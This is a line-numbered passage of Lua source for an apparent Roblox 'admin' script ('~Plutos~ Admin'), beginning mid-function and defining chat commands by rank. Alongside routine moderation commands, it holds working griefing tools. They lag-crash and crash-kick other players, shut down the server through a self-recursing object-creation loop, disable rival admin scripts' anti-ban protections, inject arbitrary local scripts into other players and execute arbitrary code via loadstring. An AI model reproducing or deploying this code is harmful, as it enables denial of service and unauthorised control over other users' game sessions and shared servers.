				if Injected[JoinPlrName] ~= nil then
1474
					Injected[JoinPlrName] = nil
1475
				end
1476
			end))
1477
			coroutine.resume(coroutine.create(function()
1478
				Dismiss(Plr)
1479
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1480
			end))
1481
		end
1482
	end)
1483
end)
1484
1485
Plrs.PlayerRemoving:connect(function(Plr)
1486
	wait(.1)
1487
	ypcall(function()
1488
		if Removed == false then
1489
			local LeftPlrName = Plr.Name
1490
			coroutine.resume(coroutine.create(function()
1491
				if Injected[LeftPlrName] ~= nil then
1492
					Injected[LeftPlrName] = nil
1493
				end
1494
			end))
1495
		end
1496
	end)
1497
end)
1498
1499
coroutine.resume(coroutine.create(function()
1500
	Delay(0, function()
1501
		while FoundLocalScript == false do wait()
1502
			ypcall(function()
1503
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1504
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1505
						for _,c in pairs(v:children()) do
1506
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1507
								local NewVal = c:Clone()
1508
								NewVal.Name = "LoadingVal"
1509
								for _,s in pairs(v:GetChildren()) do
1510
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1511
										print("Found Owner")
1512
										OwnSource = s.Name
1513
										print(OwnSource)
1514
										break
1515
									end
1516
								end
1517
								wait()
1518
								LS = v:Clone()
1519
								NewVal.Parent = LS
1520
								LSSource = "LoadingVal"
1521
								FoundLocalScript = true
1522
								break
1523
							end
1524
						end
1525
					end
1526
				end
1527
			end)
1528
		end
1529
	end)
1530
end))
1531
1532
--Commands
1533
1534
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1535
	Dismiss(Speaker.Name)
1536
	Ping("~Plutos~ Admin Is Created By " .. string.reverse("3254ykcuhc"), Speaker)
1537
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1538
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1539
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1540
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1541
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1542
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1543
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1544
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1545
end)
1546
1547
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1548
	Dismiss(Speaker.Name)
1549
end)
1550
1551
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1552
	local PlrTab = getPlayer(Speaker, Msg)
1553
	if #PlrTab > 0 then
1554
		for _,v in pairs(PlrTab) do
1555
			ypcall(function()
1556
				v.Character:BreakJoints()
1557
				Ping("Killed "..v.Name, Speaker, 5)
1558
			end)
1559
		end
1560
	end
1561
end)
1562
1563
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1564
	local PlrTab = getPlayer(Speaker, Msg)
1565
	if #PlrTab > 0 then
1566
		for _,v in pairs(PlrTab) do
1567
			ypcall(function()
1568
				if v.Name ~= Owner then
1569
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1570
					Ping("Muted "..v.Name, Speaker, 5)
1571
				end
1572
			end)
1573
		end
1574
	end
1575
end)
1576
1577
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1578
	local PlrTab = getPlayer(Speaker, Msg)
1579
	if #PlrTab > 0 then
1580
		for _,v in pairs(PlrTab) do
1581
			ypcall(function()
1582
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1583
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1584
			end)
1585
		end
1586
	end
1587
end)
1588
1589
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1590
	local PlrTab = getPlayer(Speaker, Msg)
1591
	if #PlrTab > 0 then
1592
		for _,v in pairs(PlrTab) do
1593
			ypcall(function()
1594
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1595
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1596
			end)
1597
		end
1598
	end
1599
end)
1600
1601
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1602
	local PlrTab = getPlayer(Speaker, Msg)
1603
	if #PlrTab > 0 then
1604
		for _,v in pairs(PlrTab) do
1605
			ypcall(function()
1606
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1607
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1608
			end)
1609
		end
1610
	end
1611
end)
1612
1613
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1614
	local PlrTab = getPlayer(Speaker, Msg)
1615
	if #PlrTab > 0 then
1616
		for _,v in pairs(PlrTab) do
1617
			ypcall(function()
1618
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1619
				Ping("UnMuted "..v.Name, Speaker, 5)
1620
			end)
1621
		end
1622
	end
1623
end)
1624
1625
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1626
	local Worked = false
1627
	for _,v in pairs(Work:GetChildren()) do
1628
		if string.find(v.Name:lower(), Msg:lower()) then
1629
			if v:IsA("Script") or v:IsA("LocalScript") then
1630
				v.Disabled = true
1631
				v:Destroy()
1632
				Worked = true
1633
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1634
			end
1635
		end
1636
	end
1637
	if Worked == false then
1638
		Ping("Script Not Found", Speaker, 5)
1639
	end
1640
end)
1641
1642
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1643
	Dismiss(Speaker)
1644
	local AllScripts = {}
1645
	for _,v in pairs(Work:GetChildren()) do
1646
		if v:IsA("Script") then
1647
			table.insert(AllScripts, v.Name)
1648
		end
1649
	end
1650
	if #AllScripts > 0 then
1651
		for _,v in pairs(AllScripts) do
1652
			Ping(v, Speaker)
1653
		end
1654
	else
1655
		Ping("No Scripts Found", Speaker, 5)
1656
	end
1657
end)
1658
1659
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1660
	Dismiss(Speaker)
1661
	local LocalScripts = {}
1662
	for _,v in pairs(All()) do
1663
		ypcall(function()
1664
			for _,x in pairs(v.Character:GetChildren()) do
1665
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1666
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1667
				end
1668
			end
1669
		end)
1670
		ypcall(function()
1671
			for _,x in pairs(v.Backpack:GetChildren()) do
1672
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1673
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1674
				end
1675
			end
1676
		end)
1677
		ypcall(function()
1678
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1679
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1680
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1681
				end
1682
			end
1683
		end)
1684
	end
1685
	if #LocalScripts > 0 then
1686
		for _,v in pairs(LocalScripts) do
1687
			Ping(v, Speaker)
1688
		end
1689
	else
1690
		Ping("No Local Scripts Found", Speaker, 5)
1691
	end
1692
end)
1693
1694
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1695
	local Split = GetSplit(Msg)
1696
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1697
	local ScriptName = Msg:sub(Split + 1)
1698
	local FoundLocal = false
1699
	for _,name in pairs(PlrTab) do
1700
		ypcall(function()
1701
			for _,v in pairs(name.Character:GetChildren()) do
1702
				if string.find(v.Name:lower(), ScriptName) then
1703
					if v:IsA("Script") or v:IsA("LocalScript") then
1704
						v.Disabled = true
1705
						v:Destroy()
1706
						FoundLocal = true
1707
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1708
					end
1709
				end
1710
			end
1711
		end)
1712
		ypcall(function()
1713
			for _,v in pairs(name.Backpack:GetChildren()) do
1714
				if string.find(v.Name:lower(), ScriptName) then
1715
					if v:IsA("Script") or v:IsA("LocalScript") then
1716
						v.Disabled = true
1717
						v:Destroy()
1718
						FoundLocal = true
1719
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1720
					end
1721
				end
1722
			end
1723
		end)
1724
		ypcall(function()
1725
			for _,v in pairs(name.PlayerGui:GetChildren()) do
1726
				if string.find(v.Name:lower(), ScriptName) then
1727
					if v:IsA("Script") or v:IsA("LocalScript") then
1728
						v.Disabled = true
1729
						v:Destroy()
1730
						FoundLocal = true
1731
						Ping("Disabled Local Script: "..v.Name, Speaker, 5)
1732
					end
1733
				end
1734
			end
1735
		end)
1736
		if FoundLocal == false then
1737
			Ping("Local Script Not Found", Speaker, 5)
1738
		end
1739
	end
1740
end)
1741
1742
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
1743
	for _,v in pairs(game:GetChildren()) do
1744
		ypcall(function()
1745
			if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
1746
				for _,a in pairs(v:GetChildren()) do
1747
					ypcall(function()
1748
						a:Destroy()
1749
					end)
1750
				end
1751
			elseif v.Name == "Players" then
1752
				for _,plr in pairs(v:GetPlayers()) do
1753
					Clear(plr)
1754
				end
1755
			end
1756
		end)
1757
	end
1758
	Clean()
1759
	Fixl()
1760
	Ping("Fully Cleaned", Speaker, 5)
1761
end)
1762
1763
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
1764
	LClean()
1765
	Fixl()
1766
	Ping("Lightly Cleaned", Speaker, 5)
1767
end)
1768
1769
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
1770
	local PlrTab = getPlayer(Speaker, Msg)
1771
	if #PlrTab > 0 then
1772
		for _,v in pairs(PlrTab) do
1773
			ypcall(function()
1774
				v:LoadCharacter()
1775
				Ping("Reset "..v.Name, Speaker, 5)
1776
			end)
1777
		end
1778
	end
1779
end)
1780
1781
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
1782
	repeat wait() until Speaker.Character:findFirstChild("Torso")
1783
	if Work:findFirstChild("Base") then
1784
		Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
1785
	else
1786
		Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
1787
	end
1788
	Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
1789
end)
1790
1791
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
1792
	local PlrTab = getPlayer(Speaker, Msg)
1793
	if #PlrTab > 0 then
1794
		for _,v in pairs(PlrTab) do
1795
			ypcall(function()
1796
				v.Character.Torso.Anchored = true
1797
				Ping("Froze "..v.Name, Speaker, 5)
1798
			end)
1799
		end
1800
	end
1801
end)
1802
1803
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
1804
	local PlrTab = getPlayer(Speaker, Msg)
1805
	if #PlrTab > 0 then
1806
		for _,v in pairs(PlrTab) do
1807
			ypcall(function()
1808
				for _,v2 in pairs(v.Character:GetChildren()) do
1809
					ypcall(function()
1810
						v.Anchored = false
1811
					end)
1812
				end
1813
				Ping("Thawed "..v.Name, Speaker, 5)
1814
			end)
1815
		end
1816
	end
1817
end)
1818
1819
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
1820
	local PlrTab = getPlayer(Speaker, Msg)
1821
	if #PlrTab > 0 then
1822
		for _,v in pairs(PlrTab) do
1823
			ypcall(function()
1824
				Instance.new("ForceField", v.Character)
1825
			end)
1826
		end
1827
	end
1828
end)
1829
1830
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
1831
	local PlrTab = getPlayer(Speaker, Msg)
1832
	if #PlrTab > 0 then
1833
		for _,v in pairs(PlrTab) do
1834
			ypcall(function()
1835
				RemObj(v.Character, "ForceField")
1836
			end)
1837
		end
1838
	end
1839
end)
1840
1841
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
1842
	local Split = GetSplit(Msg)
1843
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1844
	local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
1845
	if #PlrTab > 0 and #PlrTab2 > 0 then
1846
		for i,v in pairs(PlrTab) do
1847
			ypcall(function()
1848
				for _,v2 in pairs(PlrTab2) do
1849
					ypcall(function()
1850
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
1851
						Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
1852
					end)
1853
				end
1854
			end)
1855
		end
1856
	end
1857
end)
1858
1859
Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
1860
	MakeExplorer(Speaker)
1861
end)
1862
1863
Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
1864
	wait()
1865
	Dismiss(Speaker)
1866
	NumBanned = 0
1867
	NumCmds = 0
1868
	for i = 1, #Rankings do
1869
		if Rankings[i].Rank < 0 then
1870
			NumBanned = NumBanned + 1
1871
		end
1872
	end
1873
	for i,v in pairs(Commands) do
1874
		NumCmds = NumCmds + 1
1875
	end
1876
	Ping("Admin Name: chucky4523", Speaker)
1877
	Ping("~Plutos~ Admin Created By: chucky4523", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("3254ykcuhc"))
1878
	Ping("Date Started: 18th May 2013", Speaker)
1879
	Ping("Your ID: "..Speaker.userId, Speaker)
1880
	Ping("Total Number Of Players: "..#All2(), Speaker)
1881
	Ping("Total Number Of Commands: "..NumCmds, Speaker)
1882
	Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
1883
	Ping("ShowGarbage", Speaker)
1884
end)
1885
1886
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
1887
	Dismiss(Speaker)
1888
	for i,v in pairs(All()) do
1889
		Ping(v.Name.."'s Rank: "..FindRank(v))
1890
	end
1891
end)
1892
1893
Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
1894
	local Split = GetSplit(Msg)
1895
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1896
	local Speed = tonumber(Msg:sub(Split + 1))
1897
	for _,v in pairs(PlrTab) do
1898
		ypcall(function()
1899
			v.Character.Humanoid.WalkSpeed = Speed
1900
			Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
1901
		end)
1902
	end
1903
end)
1904
1905
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
1906
	local RemoveAB = Instance.new("StringValue")
1907
	RemoveAB.Name = "CBA Attachment"
1908
	RemoveAB.Value = [[CBA.override=true;]]
1909
	RemoveAB.Parent = Work
1910
	Ping("Removed All CBA Anti-Bans", Speaker, 5)
1911
end)
1912
1913
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
1914
	Dismiss(Speaker)
1915
	for i,v in pairs(Injected) do
1916
		Ping(i, Speaker)
1917
	end
1918
end)
1919
1920
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
1921
	local RemoveCBA = Instance.new("StringValue")
1922
	RemoveCBA.Name = "CBA Attachment"
1923
	RemoveCBA.Value = [[CBA.remove = false]]
1924
	RemoveCBA.Parent = Work
1925
	Ping("Removed All CBA Admins", Speaker, 5)
1926
end)
1927
1928
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
1929
	local function BufferOverflow(object)
1930
		object.DescendantAdded:connect(BufferOverflow)
1931
		Instance.new("IntValue", object)
1932
	end
1933
	BufferOverflow(Game)
1934
end)
1935
1936
Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
1937
	local PlrTab = getPlayer(Speaker, Msg)
1938
	if #PlrTab > 0 then
1939
		for _,v in pairs(PlrTab) do
1940
			ypcall(function()
1941
				Crash1(v)
1942
				Ping("Crash Kicked "..v.Name, Speaker, 5)
1943
			end)
1944
		end
1945
	end
1946
end)
1947
1948
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
1949
	local PlrTab = getPlayer(Speaker, Msg)
1950
	if #PlrTab > 0 then
1951
		for _,v in pairs(PlrTab) do
1952
			ypcall(function()
1953
				ChangeRank(v, -1)
1954
			end)
1955
		end
1956
	end
1957
end)
1958
1959
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
1960
	local PlrTab = getPlayer(Speaker, Msg)
1961
	if #PlrTab > 0 then
1962
		for _,v in pairs(PlrTab) do
1963
			ypcall(function()
1964
				ChangeRank(v, -2)
1965
			end)
1966
		end
1967
	end
1968
end)
1969
1970
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
1971
	local PlrTab = getPlayer(Speaker, Msg)
1972
	if #PlrTab > 0 then
1973
		for _,v in pairs(PlrTab) do
1974
			ypcall(function()
1975
				ChangeRank(v, -3)
1976
			end)
1977
		end
1978
	end
1979
end)
1980
1981
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
1982
	ypcall(function()
1983
		local PlrTab = getPlayer(Speaker, Msg)
1984
		if #PlrTab > 0 then
1985
			for _,v in pairs(PlrTab) do
1986
				ypcall(function()
1987
					Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1988
				end)
1989
			end
1990
		end
1991
		local PlrName = ChangeRank(Msg, 0)
1992
		Ping("Un-Banned "..PlrName, Speaker, 5)
1993
	end)
1994
end)
1995
1996
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
1997
	Dismiss(Speaker)
1998
	Ping("Commands", Speaker, nil, function()
1999
		Dismiss(Speaker.Name)
2000
		Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2001
		Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2002
		Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
2003
		Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
2004
		Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
2005
		Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
2006
		Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
2007
		Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
2008
	end)
2009
	Ping("Players", Speaker, nil, function()
2010
		ListPlayers(Speaker)
2011
	end)
2012
end)
2013
2014
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
2015
	ListPlayers(Speaker)
2016
end)
2017
2018
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2019
	local Func,Error = loadstring(Msg)
2020
	getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2021
	getfenv(Func).Speaker = Speaker
2022
	if Error == nil then
2023
		coroutine.wrap(function()
2024
			Func()
2025
		end)()
2026
		Ping("Executed Script!", Speaker, 5)
2027
	else
2028
		Ping(Error, Speaker, 10)
2029
	end
2030
end)
2031
2032
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2033
	if LS ~= nil then
2034
		local Split = GetSplit(Msg)
2035
		local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2036
		local LocalSource = Msg:sub(Split + 1)
2037
		if #PlrTab > 0 then
2038
			for _,v in pairs(PlrTab) do
2039
				local Inserted = LS:Clone()
2040
				Inserted.Disabled = true
2041
				Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2042
				if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2043
					Inserted:findFirstChild(OwnSource).Value = v.Name
2044
				end
2045
				Inserted[LSSource].Value = LocalSource
2046
				Inserted.Disabled = false
2047
			end
2048
		end
2049
	else
2050
		Ping("ERROR: Local Script Not Found", Speaker, 5)
2051
	end
2052
end)
2053
2054
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2055
	Msg = tostring(Msg)
2056
	Ping(Msg, Speaker)
2057
end)
2058
2059
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
2060
	Dismiss(Speaker)
2061
	for i,v in pairs(getfenv(1)) do
2062
		ypcall(function()
2063
			Ping(tostring(i)..": "..tostring(v), Speaker)
2064
		end)
2065
	end
2066
end)
2067
2068
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2069
	Dismiss()
2070
	Removed = true
2071
	for i,v in pairs(getfenv(1)) do
2072
		getfenv(1)[i] = nil
2073
	end
2074
	script.Disabled = true
2075
end)
2076
2077
Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
2078
	local Split = GetSplit(Msg)
2079
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2080
	local Rank = tonumber(Msg:sub(Split + 1))
2081
	if #PlrTab > 0 then
2082
		for _,v in pairs(PlrTab) do
2083
			if v.Name ~= Owner then
2084
				ChangeRank(v, Rank)
2085
				Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
2086
			end
2087
		end
2088
	end
2089
end)
2090
2091
--This Admin (DVM) Was Created By chucky4523 (Creator of ~Plutos Admin~).